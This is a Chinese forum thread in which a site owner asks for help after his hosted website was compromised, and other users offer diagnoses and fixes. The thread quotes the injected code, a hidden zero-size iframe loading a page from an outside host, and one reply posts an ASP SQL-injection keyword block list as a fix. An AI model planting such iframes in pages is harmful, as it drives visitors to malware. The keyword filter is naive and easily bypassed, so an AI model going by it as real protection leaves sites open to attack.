网站被攻击了，应该怎么办？

[zpyzhupai]

请大家看看这个网站http://scstc.cn是受到什么攻击了，应该怎么解决？请高手帮帮忙，谢谢！

[zpyzhupai]

急，请高手帮忙哈，空间是租用的

[Atai-Lu]

解决的方式通常只有一种,就是检查漏洞,程序的,服务器的,看看是哪个漏洞被别人利用了,然后修补上.

[hbjmdx008]

Trojan.DL.VBS.Agent.cfw

杀毒。

[zpyzhupai]

谢谢各位的指点哈，不过我还是不明白怎么去处理这个问题，空间是买的，网站是通过ftp工具上传上去的，能否详细说明怎样去处理呢？

[lymyx]

有漏洞，程序本身存在错误，上传等、。

[cink]

被人家放了 网页木马 估计是程序BUG 请先去处代码
加QQ147031

[zpyzhupai]

自己顶一下，希望高手指点！

[pxiaoli]

自卫反击敌胆汗

[xiemate]

查看所有与首页相联的文件.看里面是滞有框架..或可疑代理连接到别的网站上

[什么都不能]

我不懂，建议先去买几本书学习下。然后再去找极品高手去请教。

[anwell]

呵呵

[anwell]

有的虚拟主机提供商安全方面也设置的不好,被跨站注入了.

[zpyzhupai]

在有的页面发现了如下代码<iframe src=http://bluewell.com.cn/ads/ width=0 height=0 frameborder=0></iframe>这是被人家添加的，怎么搞定？谢谢！

[cfstudio]

留意:
http://bluewell.com.cn/ads.....

还有:

http://wshadow.com/hei/.....

自己在源码里面查找下吧。

用DW，使用搜索文件夹功能，把所有的网页源码都搜索看看。

关键字就用上面的吧。

如果没有的话，像楼上说的，留意下框架或者js文件。可能是广告木马。


在本地也杀下毒吧。

[cfstudio]

发现了就删除掉啊。

我打开首页时，检测到两个站外的非法连接～

[zpyzhupai]

发现了iframe src=http://bluewell.com.cn/ads/ width=0 height=0 frameborder=0></iframe>
这个代码写到了连接数据库的文件中，导致很多页面都出现这个问题
请问怎样检查这个漏洞，怎样防范再受到攻击？

[pingaigh]

恩.看你急得..是我干的..^=^ 下次不敢了．

[什么都不能]

<%
dim sql_injdata
SQL_injdata="'|and|exec|insert|select|delete|update|count|*|%|chr|mid|master|truncate|char|declare
SQL_inj=split(SQL_Injdata,"|")
If Request.QueryString<>"" Then
For Each SQL_Get In Request.QueryString
For SQL_Data=0 To Ubound(SQL_inj)
if instr(Request.QueryString(SQL_Get),Sql_Inj(Sql_DATA))>0 Then
Response.Write"<Script Language=javascript> alert('系统提示:\n请不要在参数中包含非法字符尝试注入！');history.back(-1)</Script>"
Response.end
end if
next
Next
End If
If Request.Form<>"" Then
For Each Sql_Post In Request.Form
For SQL_Data=0 To Ubound(SQL_inj)
if instr(Request.Form(Sql_Post),Sql_Inj(Sql_DATA))>0 Then
Response.Write"<Script Language=""javascript"">alert('系统提示:\n请不要在参数中包含非法字符尝试注入！\n');history.back()</Script>"
Response.end
end if
next
next
end if
%>
将以上代码放入inc/conn.asp文件中

[什么都不能]

站点是否有图片上传之类的功能，最好不要使用此类上传

[zpyzhupai]

谢谢各位哈！